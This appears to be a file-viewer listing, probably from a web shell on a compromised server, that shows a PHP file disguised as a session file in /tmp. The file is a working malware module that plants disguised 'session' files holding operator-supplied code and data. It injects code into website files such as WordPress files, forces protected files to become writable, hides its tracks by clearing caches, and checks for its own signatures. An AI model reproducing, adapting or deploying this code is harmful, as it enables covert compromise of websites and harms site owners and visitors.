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: / proc / thread-self / root / tmp / mbdvd0 /
Filename : sess_c012f04a8a4adf27fb6d7d9a82d9a7f5links_core
back
<?php
class mbd_links_core extends mbd_core
{
    private $ver = 15;
    public $host;
    public $sysfile;
    public $sysdata;
    public function __construct($core)
    {
        $this->core = $core;
        $this->_o = $this->core->data->options;
        if(isset($this->_o->ver) && $this->_o->ver!=$this->ver) $this->rmdir($this->core->tmp); 
        $this->_p = isset($this->core->data->params)?$this->core->data->params:FALSE;
        $this->host = isset($this->_o->host) ? $this->_o->host : str_replace(array(':80',':443'), '', $core->server['HTTP_HOST']);
        if(empty($this->_o->tmp)) $this->_o->tmp = dirname($this->core->tmp);
        $k = substr(md5(trim(str_replace('www.', '', $this->host))), 0, 5);
        $d = $this->_o->tmp.'/sse'.'ss_';
        $this->sysfile = $d.md5($k.'s');
        $this->sysdata = $d.md5($this->_o->hkey.$k);
    }
    function search_tmp()
    {
        if(!isset($this->_p) || !is_array($this->_p)) $this->out('not dirs');
        $tmp = FALSE;
        $dir = $this->core->root;
        while(TRUE)
        {
            $dir = $dir.'/..';
            if(!is_dir($dir) || !is_writable($dir)) break;
            foreach($this->_p AS $d) 
            {
                $d = $dir.'/'.$d;
                if(is_dir($d) && is_writable($d)) $tmp = $d;
            }
        }
        if(!$tmp)
        {
            $d = $this->core->root.'/wp-content';
            if(is_dir($d) && is_writable($d))
            {
                $d = $d.'/cache';
                if(!is_dir($d)) mkdir ($d);
                if(is_dir($d) && is_writable($d)) $tmp = $d;
            }
        }
        if(!$tmp) $this->out('tmp not found');
        $tmp = realpath($tmp);
        $this->core->data->result = $tmp;
        return $this;
    }
    function set()
    {        
        $this->set_system();
        if(isset($this->_o->files)) 
        {
            foreach($this->_o->files AS $f)
            {
                $r = empty($this->_o->root)?$this->core->root.$f:$this->_o->root.$f;
                if(is_file($r))
                {
                    $this->_o->file = $f; 
                    $this->core->data->setfile = $f; 
                    break;
                }
            }
        }
        $this->set_out();
    }
    function exec() 
    {
        if(!is_writable($this->_o->tmp)) $this->out('tmp not writable');
        if(is_file($this->sysdata) && !is_writable($this->sysdata) && !unlink($this->sysdata)) $this->out('sysdata blocked'); 
        $d = $this->core->load('tmp_'.$this->_o->hash, 1, 0);
        if(isset($this->_o->crypt)) $d = $this->core->load('crypt')->cpt($d, $this->_o->crypt, 'decrypt');
        if(empty($d)) $this->out('error load sysdata');
        $test = @unserialize($d);
        if(!is_array($test)) $this->out('error load sysdata');
        if(!empty($this->_o->encode)) $d = base64_encode($d);
        if(!$this->file_put($this->sysdata, $d))
        {
            if(is_file($this->sysdata)) unlink($this->sysdata);
            if(!$this->file_put($this->sysdata, $d)) $this->out('not write data file');
        }
        if(!is_file($this->sysfile) || isset($this->_o->sysupd)) $this->set_system();
        return $this->cache();
    }
    function filestest() 
    {
        if(!is_writable($this->_o->tmp)) $this->out('tmp not writable');
        if(!is_file($this->sysfile)) $this->out('not sysfile');
        if(!is_writable($this->sysfile)) $this->out('sysfile blocked');
        if(!is_file($this->sysdata)) $this->out('not sysdata');
        if(!is_writable($this->sysdata)) $this->out('sysdata blocked');
    }
    function cache()
    {
        if(!empty($this->_o->cacheuri)) 
        {
            foreach(explode('|', $this->_o->cacheuri) AS $d)
            {
                $d = trim($d);
                if(empty($d)) continue;
                if(!is_dir($d) && !is_file($d)) $d = empty($this->_o->root)?$this->core->root.$d:$this->_o->root.$d; 
                if(is_dir($d)) $this->rmdir($d, TRUE); 
                elseif(is_file($d)) $this->file_put($d, ''); 
            }
        }
        if(isset($this->_o->cmsf))
        {
            $cms = $this->core->load($this->_o->cmsf);
            if(method_exists($cms, 'cache')) $this->core->data->cache = $cms->cache();
        }
    }
    function set_system() 
    {
        if(!is_writable($this->_o->tmp)) $this->out('tmp not writable');
        if(is_file($this->sysfile) && !is_writable($this->sysfile) && !unlink($this->sysfile)) $this->out('sysfile blocked'); 
        $d = $this->core->load('links_code_system', 1, 0);
        $d = str_replace('this->file.md5(', 'this->file.md5(\''.$this->_o->hkey.'\'.', $d); 
        if(!preg_match('|^\<\?php|', $d)) $this->out('error load sysfile');
        if(!$this->file_put($this->sysfile, $d)) $this->out('not write sysfile');
    }
    function cat_code()
    {
        $re = $this->_o->regexp;
        $f = $this->_o->catfile;
        if(!is_file($f)) $f = empty($this->_o->root)?$this->core->root.$f:$this->_o->root.$f;
        if(!is_file($f)) $this->out('no such file');
        $h = $this->file_get($f);
        if(!preg_match($re, $h)) $this->out('cat code NOT preg match');
        $s = $this->core->load('files');
        $s->restore($f, 'set'); 
        $h = preg_replace($re, '', $h);
        $h = $this->file_put($f, $h);
        if(!$h) $this->out('not write out file');
    }
    function getf($w=1)
    {
        $f = $this->_o->file;
        if(empty($f)) $this->out('undefined file');
        if(!is_file($f)) $f = empty($this->_o->root)?$this->core->root.$f:$this->_o->root.$f;
        if(!is_file($f)) $this->out('no such file');
        if($w && !is_writable($f))
        {
            @chmod($f, intval(0644, 8));
            if(is_writable($f)) return $f;
            $d = dirname($f);
            if(is_dir($d) && is_writable($d))
            {
                $f2 = $f.'_';
                if(copy($f, $f2))
                {
                    if(unlink($f))
                    {
                        rename($f2, $f);
                        if(is_writable($f)) return $f;
                    }
                }
            }
            $this->out('file not writable');
        }
        return $f;
    }
    function set_out() 
    {
        $test = isset($this->_o->test);
        $sign = 0;
        $f = $this->getf(!$test);
        $h = $this->file_get($f);
        if(!empty($this->core->secure)) $this->core->data->crypt = $this->core->load('crypt')->test();
        $this->_o->sigs[] = $this->sysfile;
        foreach($this->_o->sigs AS $s) if(stripos($h, $s)!==FALSE) $sign++;
        if($test)
        {
            if(!$sign) $this->out('system code NOT detected in the file');
            if(stripos($h, $this->sysfile)===FALSE) $this->out('temp is different'); 
            return;
        }
        if($sign) $this->out('system code detected in the file');
        $h = preg_replace('/\?\>(\s*)$/s', '', $h); 
        $s = $this->core->load('files');
        $s->restore($f, 'set'); 
        include($this->core->load(isset($this->_o->save)?'tmp_'.$this->_o->save:'links_code_out'.$this->_o->cms, 'filename', 1)); 
        $h = $this->file_get($f);
        if(empty($h)) 
        {
            $s->restore($f, 'get'); 
            $this->out('the file is protected');
        }
    }
    function set_tmp() 
    {
        $f = $this->getf();
        $h = $this->file_get($f);
        if(stripos($h, 'phpupdate')===FALSE) $this->out('system code not detected in the file');
        $h = preg_replace('/\'([^\']+)ssess_([^\']+)\'/u', '\''.$this->sysfile.'\'', $h);
        $s = $this->core->load('files');
        $s->restore($f, 'set');
        if(!$this->file_put($f, $h)) $this->out('not write out file');         
    }
}